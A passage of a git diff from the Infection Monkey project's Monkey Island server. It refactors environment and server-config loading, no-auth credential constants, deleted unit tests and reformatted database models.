-> List[User]: auth_user = self.user_creds.to_auth_user() return [auth_user] if auth_user else [] + + +def _get_user_credentials_from_config(dict_data: Dict): + username = dict_data.get("user", "") + password_hash = dict_data.get("password_hash", "") + + return UserCreds(username, password_hash) diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index 6b98d0b7c..82c6b90b0 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -1,20 +1,18 @@ import logging import monkey_island.cc.resources.auth.user_store as user_store -from monkey_island.cc.environment import EnvironmentConfig, aws, password, standard, testing - -__author__ = 'itay.mizeretz' +from monkey_island.cc.environment import EnvironmentConfig, aws, password, standard logger = logging.getLogger(__name__) -AWS = 'aws' -STANDARD = 'standard' -PASSWORD = 'password' +AWS = "aws" +STANDARD = "standard" +PASSWORD = "password" ENV_DICT = { STANDARD: standard.StandardEnvironment, AWS: aws.AwsEnvironment, - PASSWORD: password.PasswordEnvironment + PASSWORD: password.PasswordEnvironment, } env = None @@ -30,18 +28,20 @@ def set_to_standard(): global env if env: env_config = env.get_config() - env_config.server_config = 'standard' - set_env('standard', env_config) + env_config.server_config = "standard" + set_env("standard", env_config) env.save_config() user_store.UserStore.set_users(env.get_auth_users()) -try: - config = EnvironmentConfig.get_from_file() - __env_type = config.server_config - set_env(__env_type, config) - # noinspection PyUnresolvedReferences - logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__)) -except Exception: - logger.error('Failed initializing environment', exc_info=True) - raise +def initialize_from_file(file_path): + try: + config = EnvironmentConfig(file_path) + + __env_type = config.server_config + set_env(__env_type, config) + # noinspection PyUnresolvedReferences + logger.info("Monkey's env is: {0}".format(env.__class__.__name__)) + except Exception: + logger.error("Failed initializing environment", exc_info=True) + raise diff --git a/monkey/monkey_island/cc/environment/password.py b/monkey/monkey_island/cc/environment/password.py index 8cfd495d2..c79f2caba 100644 --- a/monkey/monkey_island/cc/environment/password.py +++ b/monkey/monkey_island/cc/environment/password.py @@ -1,10 +1,7 @@ from monkey_island.cc.environment import Environment -__author__ = 'itay.mizeretz' - class PasswordEnvironment(Environment): - _credentials_required = True def get_auth_users(self): diff --git a/monkey/monkey_island/cc/environment/server_config_generator.py b/monkey/monkey_island/cc/environment/server_config_generator.py deleted file mode 100644 index d5c645564..000000000 --- a/monkey/monkey_island/cc/environment/server_config_generator.py +++ /dev/null @@ -1,7 +0,0 @@ -from pathlib import Path - - -def create_default_config_file(path): - default_config_path = f"{path}.default" - default_config = Path(default_config_path).read_text() - Path(path).write_text(default_config) diff --git a/monkey/monkey_island/cc/environment/server_config_handler.py b/monkey/monkey_island/cc/environment/server_config_handler.py new file mode 100644 index 000000000..363b7c2e6 --- /dev/null +++ b/monkey/monkey_island/cc/environment/server_config_handler.py @@ -0,0 +1,27 @@ +import json +import os +from pathlib import Path + +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH, SERVER_CONFIG_FILENAME +from monkey_island.cc.setup.island_config_options import IslandConfigOptions + + +def create_default_server_config_file(data_dir: str) -> str: + config_file_path = os.path.join(data_dir, SERVER_CONFIG_FILENAME) + if not os.path.isfile(config_file_path): + write_default_server_config_to_file(config_file_path) + + return config_file_path + + +def write_default_server_config_to_file(path: str) -> None: + default_config = Path(DEFAULT_SERVER_CONFIG_PATH).read_text() + Path(path).write_text(default_config) + + +def load_server_config_from_file(server_config_path) -> IslandConfigOptions: + with open(server_config_path, "r") as f: + config_content = f.read() + config = json.loads(config_content) + + return IslandConfigOptions(config) diff --git a/monkey/monkey_island/cc/environment/set_server_config.py b/monkey/monkey_island/cc/environment/set_server_config.py index 168fe13cd..490d92479 100644 --- a/monkey/monkey_island/cc/environment/set_server_config.py +++ b/monkey/monkey_island/cc/environment/set_server_config.py @@ -14,7 +14,7 @@ def add_monkey_dir_to_sys_path(): add_monkey_dir_to_sys_path() -from monkey_island.cc.environment.environment_config import EnvironmentConfig # noqa: E402 isort:skip +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 isort:skip SERVER_CONFIG = "server_config" BACKUP_CONFIG_FILENAME = "./server_config.backup" @@ -26,7 +26,7 @@ logger.setLevel(logging.DEBUG) def main(): args = parse_args() - file_path = EnvironmentConfig.get_config_file_path() + file_path = DEFAULT_SERVER_CONFIG_PATH if args.server_config == "restore": restore_previous_config(file_path) @@ -62,5 +62,5 @@ def restore_previous_config(config_path): move(BACKUP_CONFIG_FILENAME, config_path) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/monkey/monkey_island/cc/environment/standard.py b/monkey/monkey_island/cc/environment/standard.py index e34fb71cc..3bc823b9b 100644 --- a/monkey/monkey_island/cc/environment/standard.py +++ b/monkey/monkey_island/cc/environment/standard.py @@ -1,16 +1,12 @@ from monkey_island.cc.environment import Environment from monkey_island.cc.resources.auth.auth_user import User -__author__ = 'itay.mizeretz' - class StandardEnvironment(Environment): - _credentials_required = False - # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' - NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \ - '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557' + NO_AUTH_USER = "1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()" + NO_AUTH_SECRET = "$2b$12$frH7uEwV3jkDNGgReW6j2udw8hy/Yw1SWAqytrcBYK48kn1V5lQIa" def get_auth_users(self): - return [User(1, StandardEnvironment.NO_AUTH_CREDS, StandardEnvironment.NO_AUTH_CREDS)] + return [User(1, StandardEnvironment.NO_AUTH_USER, StandardEnvironment.NO_AUTH_SECRET)] diff --git a/monkey/monkey_island/cc/environment/test__init__.py b/monkey/monkey_island/cc/environment/test__init__.py deleted file mode 100644 index c55e1b65b..000000000 --- a/monkey/monkey_island/cc/environment/test__init__.py +++ /dev/null @@ -1,111 +0,0 @@ -import json -import os -from typing import Dict -from unittest import TestCase -from unittest.mock import MagicMock, patch - -import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks -from common.utils.exceptions import (AlreadyRegisteredError, CredentialsNotRequiredError, - InvalidRegistrationCredentialsError, RegistrationNotNeededError) -from monkey_island.cc.environment import Environment, EnvironmentConfig, UserCreds - - -def get_server_config_file_path_test_version(): - return os.path.join(os.getcwd(), 'test_config.json') - - -class TestEnvironment(TestCase): - - class EnvironmentCredentialsNotRequired(Environment): - def __init__(self): - config = EnvironmentConfig('test', 'test', UserCreds()) - super().__init__(config) - - _credentials_required = False - - def get_auth_users(self): - return [] - - class EnvironmentCredentialsRequired(Environment): - def __init__(self): - config = EnvironmentConfig('test', 'test', UserCreds()) - super().__init__(config) - - _credentials_required = True - - def get_auth_users(self): - return [] - - class EnvironmentAlreadyRegistered(Environment): - def __init__(self): - config = EnvironmentConfig('test', 'test', UserCreds('test_user', 'test_secret')) - super().__init__(config) - - _credentials_required = True - - def get_auth_users(self): - return [1, "Test_username", "Test_secret"] - - @patch.object(target=EnvironmentConfig, attribute="save_to_file", new=MagicMock()) - def test_try_add_user(self): - env = TestEnvironment.EnvironmentCredentialsRequired() - credentials = UserCreds(username="test", password_hash="1231234") - env.try_add_user(credentials) - - credentials = UserCreds(username="test") - with self.assertRaises(InvalidRegistrationCredentialsError): - env.try_add_user(credentials) - - env = TestEnvironment.EnvironmentCredentialsNotRequired() - credentials = UserCreds(username="test", password_hash="1231234") - with self.assertRaises(RegistrationNotNeededError): - env.try_add_user(credentials) - - def test_try_needs_registration(self): - env = TestEnvironment.EnvironmentAlreadyRegistered() - with self.assertRaises(AlreadyRegisteredError): - env._try_needs_registration() - - env = TestEnvironment.EnvironmentCredentialsNotRequired() - with self.assertRaises(CredentialsNotRequiredError): - env._try_needs_registration() - - env = TestEnvironment.EnvironmentCredentialsRequired() - self.assertTrue(env._try_needs_registration()) - - def test_needs_registration(self): - env = TestEnvironment.EnvironmentCredentialsRequired() - self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_WITH_CREDENTIALS, False) - self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_NO_CREDENTIALS, True) - self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_PARTIAL_CREDENTIALS, True) - - env = TestEnvironment.EnvironmentCredentialsNotRequired() - self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_STANDARD_ENV, False) - self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_STANDARD_WITH_CREDENTIALS, False) - - def test_is_registered(self): - env = TestEnvironment.EnvironmentCredentialsRequired() - self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_WITH_CREDENTIALS, True) - self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_NO_CREDENTIALS, False) - self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_PARTIAL_CREDENTIALS, False) - - env = TestEnvironment.EnvironmentCredentialsNotRequired() - self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_STANDARD_ENV, False) - self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_STANDARD_WITH_CREDENTIALS, False) - - def test_is_credentials_set_up(self): - env = TestEnvironment.EnvironmentCredentialsRequired() - self._test_bool_env_method("_is_credentials_set_up", env, config_mocks.CONFIG_NO_CREDENTIALS, False) - self._test_bool_env_method("_is_credentials_set_up", env, config_mocks.CONFIG_WITH_CREDENTIALS, True) - self._test_bool_env_method("_is_credentials_set_up", env, config_mocks.CONFIG_PARTIAL_CREDENTIALS, False) - - env = TestEnvironment.EnvironmentCredentialsNotRequired() - self._test_bool_env_method("_is_credentials_set_up", env, config_mocks.CONFIG_STANDARD_ENV, False) - - def _test_bool_env_method(self, method_name: str, env: Environment, config: Dict, expected_result: bool): - env._config = EnvironmentConfig.get_from_json(json.dumps(config)) - method = getattr(env, method_name) - if expected_result: - self.assertTrue(method()) - else: - self.assertFalse(method()) diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py deleted file mode 100644 index ed9b0ef96..000000000 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ /dev/null @@ -1,99 +0,0 @@ -import json -import os -import platform -from typing import Dict -from unittest import TestCase -from unittest.mock import MagicMock, patch - -import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.environment.environment_config import EnvironmentConfig -from monkey_island.cc.environment.user_creds import UserCreds - - -def get_server_config_file_path_test_version(): - return os.path.join(os.getcwd(), 'test_config.json') - - -class TestEnvironmentConfig(TestCase): - - def test_get_from_json(self): - self._test_get_from_json(config_mocks.CONFIG_WITH_CREDENTIALS) - self._test_get_from_json(config_mocks.CONFIG_NO_CREDENTIALS) - self._test_get_from_json(config_mocks.CONFIG_PARTIAL_CREDENTIALS) - - def _test_get_from_json(self, config: Dict): - config_json = json.dumps(config) - env_config_object = EnvironmentConfig.get_from_json(config_json) - self.assertEqual(config['server_config'], env_config_object.server_config) - self.assertEqual(config['deployment'], env_config_object.deployment) - if 'user' in config: - self.assertEqual(config['user'], env_config_object.user_creds.username) - if 'password_hash' in config: - self.assertEqual(config['password_hash'], env_config_object.user_creds.password_hash) - if 'aws' in config: - self.assertEqual(config['aws'], env_config_object.aws) - - def test_save_to_file(self): - self._test_save_to_file(config_mocks.CONFIG_WITH_CREDENTIALS) - self._test_save_to_file(config_mocks.CONFIG_NO_CREDENTIALS) - self._test_save_to_file(config_mocks.CONFIG_PARTIAL_CREDENTIALS) - - @patch.object(target=EnvironmentConfig, attribute="get_config_file_path", - new=MagicMock(return_value=get_server_config_file_path_test_version())) - def _test_save_to_file(self, config: Dict): - user_creds = UserCreds.get_from_dict(config) - env_config = EnvironmentConfig(server_config=config['server_config'], - deployment=config['deployment'], - user_creds=user_creds) - - env_config.save_to_file() - file_path = get_server_config_file_path_test_version() - with open(file_path, 'r') as f: - content_from_file = f.read() - os.remove(file_path) - - self.assertDictEqual(config, json.loads(content_from_file)) - - def test_get_server_config_file_path(self): - if platform.system() == "Windows": - server_file_path = MONKEY_ISLAND_ABS_PATH + r"\cc\server_config.json" - else: - server_file_path = MONKEY_ISLAND_ABS_PATH + "/cc/server_config.json" - self.assertEqual(EnvironmentConfig.get_config_file_path(), server_file_path) - - def test_get_from_dict(self): - config_dict = config_mocks.CONFIG_WITH_CREDENTIALS - env_conf = EnvironmentConfig.get_from_dict(config_dict) - self.assertEqual(env_conf.server_config, config_dict['server_config']) - self.assertEqual(env_conf.deployment, config_dict['deployment']) - self.assertEqual(env_conf.user_creds.username, config_dict['user']) - self.assertEqual(env_conf.aws, None) - - config_dict = config_mocks.CONFIG_BOGUS_VALUES - env_conf = EnvironmentConfig.get_from_dict(config_dict) - self.assertEqual(env_conf.server_config, config_dict['server_config']) - self.assertEqual(env_conf.deployment, config_dict['deployment']) - self.assertEqual(env_conf.user_creds.username, config_dict['user']) - self.assertEqual(env_conf.aws, config_dict['aws']) - - def test_to_dict(self): - conf_json1 = json.dumps(config_mocks.CONFIG_WITH_CREDENTIALS) - self._test_to_dict(EnvironmentConfig.get_from_json(conf_json1)) - - conf_json2 = json.dumps(config_mocks.CONFIG_NO_CREDENTIALS) - self._test_to_dict(EnvironmentConfig.get_from_json(conf_json2)) - - conf_json3 = json.dumps(config_mocks.CONFIG_PARTIAL_CREDENTIALS) - self._test_to_dict(EnvironmentConfig.get_from_json(conf_json3)) - - def _test_to_dict(self, env_config_object: EnvironmentConfig): - test_dict = {'server_config': env_config_object.server_config, - 'deployment': env_config_object.deployment} - user_creds = env_config_object.user_creds - if user_creds.username: - test_dict.update({'user': user_creds.username}) - if user_creds.password_hash: - test_dict.update({'password_hash': user_creds.password_hash}) - - self.assertDictEqual(test_dict, env_config_object.to_dict()) diff --git a/monkey/monkey_island/cc/environment/test_user_creds.py b/monkey/monkey_island/cc/environment/test_user_creds.py deleted file mode 100644 index 18c052526..000000000 --- a/monkey/monkey_island/cc/environment/test_user_creds.py +++ /dev/null @@ -1,38 +0,0 @@ -from unittest import TestCase - -from monkey_island.cc.environment.user_creds import UserCreds - - -class TestUserCreds(TestCase): - - def test_to_dict(self): - user_creds = UserCreds() - self.assertDictEqual(user_creds.to_dict(), {}) - - user_creds = UserCreds(username="Test") - self.assertDictEqual(user_creds.to_dict(), {'user': "Test"}) - - user_creds = UserCreds(password_hash="abc1231234") - self.assertDictEqual(user_creds.to_dict(), {'password_hash': "abc1231234"}) - - user_creds = UserCreds(username="Test", password_hash="abc1231234") - self.assertDictEqual(user_creds.to_dict(), {'user': "Test", 'password_hash': "abc1231234"}) - - def test_to_auth_user(self): - user_creds = UserCreds(username="Test", password_hash="abc1231234") - auth_user = user_creds.to_auth_user() - self.assertEqual(auth_user.id, 1) - self.assertEqual(auth_user.username, "Test") - self.assertEqual(auth_user.secret, "abc1231234") - - user_creds = UserCreds(username="Test") - auth_user = user_creds.to_auth_user() - self.assertEqual(auth_user.id, 1) - self.assertEqual(auth_user.username, "Test") - self.assertEqual(auth_user.secret, "") - - user_creds = UserCreds(password_hash="abc1231234") - auth_user = user_creds.to_auth_user() - self.assertEqual(auth_user.id, 1) - self.assertEqual(auth_user.username, "") - self.assertEqual(auth_user.secret, "abc1231234") diff --git a/monkey/monkey_island/cc/environment/testing.py b/monkey/monkey_island/cc/environment/testing.py index 2dd34a920..efa323fe8 100644 --- a/monkey/monkey_island/cc/environment/testing.py +++ b/monkey/monkey_island/cc/environment/testing.py @@ -4,7 +4,8 @@ from monkey_island.cc.environment import Environment, EnvironmentConfig class TestingEnvironment(Environment): """ Use this environment for running Unit Tests. - This will cause all mongo connections to happen via `mongomock` instead of using an actual mongodb instance. + This will cause all mongo connections to happen via `mongomock` instead of using an actual + mongodb instance. """ _credentials_required = True diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index 7d6ca4962..aba349f2d 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -1,14 +1,12 @@ from __future__ import annotations -import json from typing import Dict from monkey_island.cc.resources.auth.auth_user import User class UserCreds: - - def __init__(self, username="", password_hash=""): + def __init__(self, username, password_hash): self.username = username self.password_hash = password_hash @@ -18,24 +16,10 @@ class UserCreds: def to_dict(self) -> Dict: cred_dict = {} if self.username: - cred_dict.update({'user': self.username}) + cred_dict.update({"user": self.username}) if self.password_hash: - cred_dict.update({'password_hash': self.password_hash}) + cred_dict.update({"password_hash": self.password_hash}) return cred_dict def to_auth_user(self) -> User: return User(1, self.username, self.password_hash) - - @staticmethod - def get_from_dict(data_dict: Dict) -> UserCreds: - creds = UserCreds() - if 'user' in data_dict: - creds.username = data_dict['user'] - if 'password_hash' in data_dict: - creds.password_hash = data_dict['password_hash'] - return creds - - @staticmethod - def get_from_json(json_data: bytes) -> UserCreds: - cred_dict = json.loads(json_data) - return UserCreds.get_from_dict(cred_dict) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py deleted file mode 100644 index ce142edcc..000000000 --- a/monkey/monkey_island/cc/main.py +++ /dev/null @@ -1,108 +0,0 @@ -import logging -import os -import sys -import time -from pathlib import Path -from threading import Thread - -# Add the monkey_island directory to the path, to make sure imports that don't start with "monkey_island." work. -from gevent.pywsgi import WSGIServer - -MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent) -if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path: - sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH) - -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH # noqa: E402 -from monkey_island.cc.server_utils.island_logger import json_setup_logging # noqa: E402 - -# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. -json_setup_logging(default_path=Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'), - default_level=logging.DEBUG) -logger = logging.getLogger(__name__) - -import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 -from common.version import get_version # noqa: E402 -from monkey_island.cc.app import init_app # noqa: E402 -from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 -from monkey_island.cc.database import get_db_version # noqa: E402 -from monkey_island.cc.database import is_db_server_up # noqa: E402 -from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 -from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 -from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 -from monkey_island.cc.setup import setup # noqa: E402 - -MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" - - -def main(should_setup_only=False): - logger.info("Starting bootloader server") - mongo_url = os.environ.get('MONGO_URL', env_singleton.env.get_mongo_url()) - bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True) - - bootloader_server_thread.start() - start_island_server(should_setup_only) - bootloader_server_thread.join() - - -def start_island_server(should_setup_only): - - mongo_url = os.environ.get('MONGO_URL', env_singleton.env.get_mongo_url()) - wait_for_mongo_db_server(mongo_url) - assert_mongo_db_version(mongo_url) - - populate_exporter_list() - app = init_app(mongo_url) - - crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt')) - key_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key')) - - setup() - - if should_setup_only: - logger.warning("Setup only flag passed. Exiting.") - return - - if env_singleton.env.is_debug(): - app.run(host='0.0.0.0', debug=True, ssl_context=(crt_path, key_path)) - else: - http_server = WSGIServer(('0.0.0.0', env_singleton.env.get_island_port()), app, - certfile=os.environ.get('SERVER_CRT', crt_path), - keyfile=os.environ.get('SERVER_KEY', key_path)) - log_init_info() - http_server.serve_forever() - - -def log_init_info(): - logger.info('Monkey Island Server is running!') - logger.info(f"version: {get_version()}") - logger.info('Listening on the following URLs: {}'.format( - ", ".join(["https://{}:{}".format(x, env_singleton.env.get_island_port()) for x in local_ip_addresses()]) - ) - ) - MonkeyDownload.log_executable_hashes() - - -def wait_for_mongo_db_server(mongo_url): - while not is_db_server_up(mongo_url): - logger.info('Waiting for MongoDB server on {0}'.format(mongo_url)) - time.sleep(1) - - -def assert_mongo_db_version(mongo_url): - """ - Checks if the mongodb version is new enough for running the app. - If the DB is too old, quits. - :param mongo_url: URL to the mongo the Island will use - """ - required_version = tuple(MINIMUM_MONGO_DB_VERSION_REQUIRED.split(".")) - server_version = get_db_version(mongo_url) - if server_version < required_version: - logger.error( - 'Mongo DB version too old. {0} is required, but got {1}'.format(str(required_version), str(server_version))) - sys.exit(-1) - else: - logger.info('Mongo DB version OK. Got {0}'.format(str(server_version))) - - -if __name__ == '__main__': - main() diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 87626c448..50dec3f95 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -1,15 +1,9 @@ -from mongoengine import connect +from .command_control_channel import CommandControlChannel # noqa: F401, E402 -import monkey_island.cc.environment.environment_singleton as env_singleton - -from .command_control_channel import CommandControlChannel # noqa: F401 -# Order of importing matters here, for registering the embedded and referenced documents before using them. -from .config import Config # noqa: F401 -from .creds import Creds # noqa: F401 -from .monkey import Monkey # noqa: F401 -from .monkey_ttl import MonkeyTtl # noqa: F401 -from .pba_results import PbaResults # noqa: F401 - -connect(db=env_singleton.env.mongo_db_name, - host=env_singleton.env.mongo_db_host, - port=env_singleton.env.mongo_db_port) +# Order of importing matters here, for registering the embedded and referenced documents before +# using them. +from .config import Config # noqa: F401, E402 +from .creds import Creds # noqa: F401, E402 +from .monkey import Monkey # noqa: F401, E402 +from .monkey_ttl import MonkeyTtl # noqa: F401, E402 +from .pba_results import PbaResults # noqa: F401, E402 diff --git a/monkey/monkey_island/cc/models/attack/attack_mitigations.py b/monkey/monkey_island/cc/models/attack/attack_mitigations.py index 0c38ecbeb..9d09aae5a 100644 --- a/monkey/monkey_island/cc/models/attack/attack_mitigations.py +++ b/monkey/monkey_island/cc/models/attack/attack_mitigations.py @@ -4,15 +4,14 @@ from mongoengine import Document, DoesNotExist, EmbeddedDocumentField, ListField from stix2 import AttackPattern, CourseOfAction from monkey_island.cc.models.attack.mitigation import Mitigation -from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface +from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface class AttackMitigations(Document): - COLLECTION_NAME = "attack_mitigations" technique_id = StringField(required=True, primary_key=True) - mitigations = ListField(EmbeddedDocumentField('Mitigation')) + mitigations = ListField(EmbeddedDocumentField("Mitigation")) @staticmethod def get_mitigation_by_technique_id(technique_id: str) -> Document: @@ -23,23 +22,29 @@ class AttackMitigations(Document): def add_mitigation(self, mitigation: CourseOfAction): mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation) - if mitigation_external_ref_id.startswith('M'): + if mitigation_external_ref_id.startswith("M"): self.mitigations.append(Mitigation.get_from_stix2_data(mitigation)) def add_no_mitigations_info(self, mitigation: CourseOfAction): mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation) - if mitigation_external_ref_id.startswith('T') and len(self.mitigations) == 0: + if mitigation_external_ref_id.startswith("T") and len(self.mitigations) == 0: mitigation_mongo_object = Mitigation.get_from_stix2_data(mitigation) - mitigation_mongo_object['description'] = mitigation_mongo_object['description'].splitlines()[0] - mitigation_mongo_object['url'] = '' + mitigation_mongo_object["description"] = mitigation_mongo_object[ + "description" + ].splitlines()[0] + mitigation_mongo_object["url"] = "" self.mitigations.append(mitigation_mongo_object) @staticmethod def mitigations_from_attack_pattern(attack_pattern: AttackPattern): - return AttackMitigations(technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern), - mitigations=[]) + return AttackMitigations( + technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern), + mitigations=[], + ) @staticmethod def dict_from_stix2_attack_patterns(stix2_dict: Dict[str, AttackPattern]): - return {key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern) - for key, attack_pattern in stix2_dict.items()} + return { + key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern) + for key, attack_pattern in stix2_dict.items() + } diff --git a/monkey/monkey_island/cc/models/attack/mitigation.py b/monkey/monkey_island/cc/models/attack/mitigation.py index 03c8bafef..8a0a1f019 100644 --- a/monkey/monkey_island/cc/models/attack/mitigation.py +++ b/monkey/monkey_island/cc/models/attack/mitigation.py @@ -1,18 +1,17 @@ from mongoengine import EmbeddedDocument, StringField from stix2 import CourseOfAction -from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface +from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface class Mitigation(EmbeddedDocument): - name = StringField(required=True) description = StringField(required=True) url = StringField() @staticmethod def get_from_stix2_data(mitigation: CourseOfAction): - name = mitigation['name'] - description = mitigation['description'] + name = mitigation["name"] + description = mitigation["description"] url = MitreApiInterface.get_stix2_external_reference_url(mitigation) return Mitigation(name=name, description=description, url=url) diff --git a/monkey/monkey_island/cc/models/command_control_channel.py b/monkey/monkey_island/cc/models/command_control_channel.py index 3aefef455..a055c4a66 100644 --- a/monkey/monkey_island/cc/models/command_control_channel.py +++ b/monkey/monkey_island/cc/models/command_control_channel.py @@ -7,5 +7,6 @@ class CommandControlChannel(EmbeddedDocument): src - Monkey Island's IP dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey) """ + src = StringField() dst = StringField() diff --git a/monkey/monkey_island/cc/models/config.py b/monkey/monkey_island/cc/models/config.py index cfe128111..f4af7b400 100644 --- a/monkey/monkey_island/cc/models/config.py +++ b/monkey/monkey_island/cc/models/config.py @@ -7,5 +7,6 @@ class Config(EmbeddedDocument): monkey_island.cc.services.config_schema. See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist """ - meta = {'strict': False} + + meta = {"strict": False} pass diff --git a/monkey/monkey_island/cc/models/creds.py b/monkey/monkey_island/cc/models/creds.py index 61322362e..d0861846d 100644 --- a/monkey/monkey_island/cc/models/creds.py +++ b/monkey/monkey_island/cc/models/creds.py @@ -5,5 +5,6 @@ class Creds(EmbeddedDocument): """ TODO get an example of this data, and make it strict """ - meta = {'strict': False} + + meta = {"strict": False} pass diff --git a/monkey/monkey_island/cc/models/edge.py b/monkey/monkey_island/cc/models/edge.py index 78fb91d6e..88858cfcb 100644 --- a/monkey/monkey_island/cc/models/edge.py +++ b/monkey/monkey_island/cc/models/edge.py @@ -2,8 +2,7 @@ from mongoengine import BooleanField, Document, DynamicField, ListField, ObjectI class Edge(Document): - - meta = {'allow_inheritance': True} + meta = {"allow_inheritance": True} # SCHEMA src_node_id = ObjectIdField(required=True) diff --git a/monkey/monkey_island/cc/models/test_telem.py b/monkey/monkey_island/cc/models/exported_telem.py similarity index 50% rename from monkey/monkey_island/cc/models/test_telem.py rename to monkey/monkey_island/cc/models/exported_telem.py index 8dd1cb658..6df2296fb 100644 --- a/monkey/monkey_island/cc/models/test_telem.py +++ b/monkey/monkey_island/cc/models/exported_telem.py @@ -1,10 +1,13 @@ """ -Define a Document Schema for the TestTelem document. +Define a Document Schema for the TelemForExport document. """ from mongoengine import DateTimeField, Document, StringField -class TestTelem(Document): +# This document describes exported telemetry. +# These telemetries are used to mock monkeys sending telemetries to the island. +# This way we can replicate island state without running monkeys. +class ExportedTelem(Document): # SCHEMA name = StringField(required=True) time = DateTimeField(required=True) diff --git a/monkey/monkey_island/cc/models/island_mode_model.py b/monkey/monkey_island/cc/models/island_mode_model.py new file mode 100644 index 000000000..dec93e501 --- /dev/null +++ b/monkey/monkey_island/cc/models/island_mode_model.py @@ -0,0 +1,5 @@ +from mongoengine import Document, StringField + + +class IslandMode(Document): + mode = StringField() diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index b0009a335..70ca9fbf9 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -2,37 +2,49 @@ Define a Document Schema for the Monkey document. """ import ring -from mongoengine import (BooleanField, DateTimeField, Document, DoesNotExist, DynamicField, EmbeddedDocumentField, - ListField, ReferenceField, StringField) +from mongoengine import ( + BooleanField, + DateTimeField, + Document, + DoesNotExist, + DynamicField, + EmbeddedDocumentField, + ListField, + ReferenceField, + StringField, +) from common.cloud import environment_names -from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.models.command_control_channel import CommandControlChannel from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document +from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.services.utils.network_utils import local_ip_addresses -MAX_MONKEYS_AMOUNT_TO_CACHE = 100 - class Monkey(Document): """ This class has 2 main section: - * The schema section defines the DB fields in the document. This is the data of the object. - * The logic section defines complex questions we can ask about a single document which are asked multiple + * The schema section defines the DB fields in the document. This is the data of the + object. + * The logic section defines complex questions we can ask about a single document which + are asked multiple times, somewhat like an API. """ + # SCHEMA guid = StringField(required=True) - config = EmbeddedDocumentField('Config') - creds = ListField(EmbeddedDocumentField('Creds')) + config = EmbeddedDocumentField("Config") + creds = ListField(EmbeddedDocumentField("Creds")) dead = BooleanField() description = StringField() hostname = StringField() internet_access = BooleanField() ip_addresses = ListField(StringField()) + launch_time = StringField() keepalive = DateTimeField() modifytime = DateTimeField() - # TODO make "parent" an embedded document, so this can be removed and the schema explained (and validated) verbosely. + # TODO 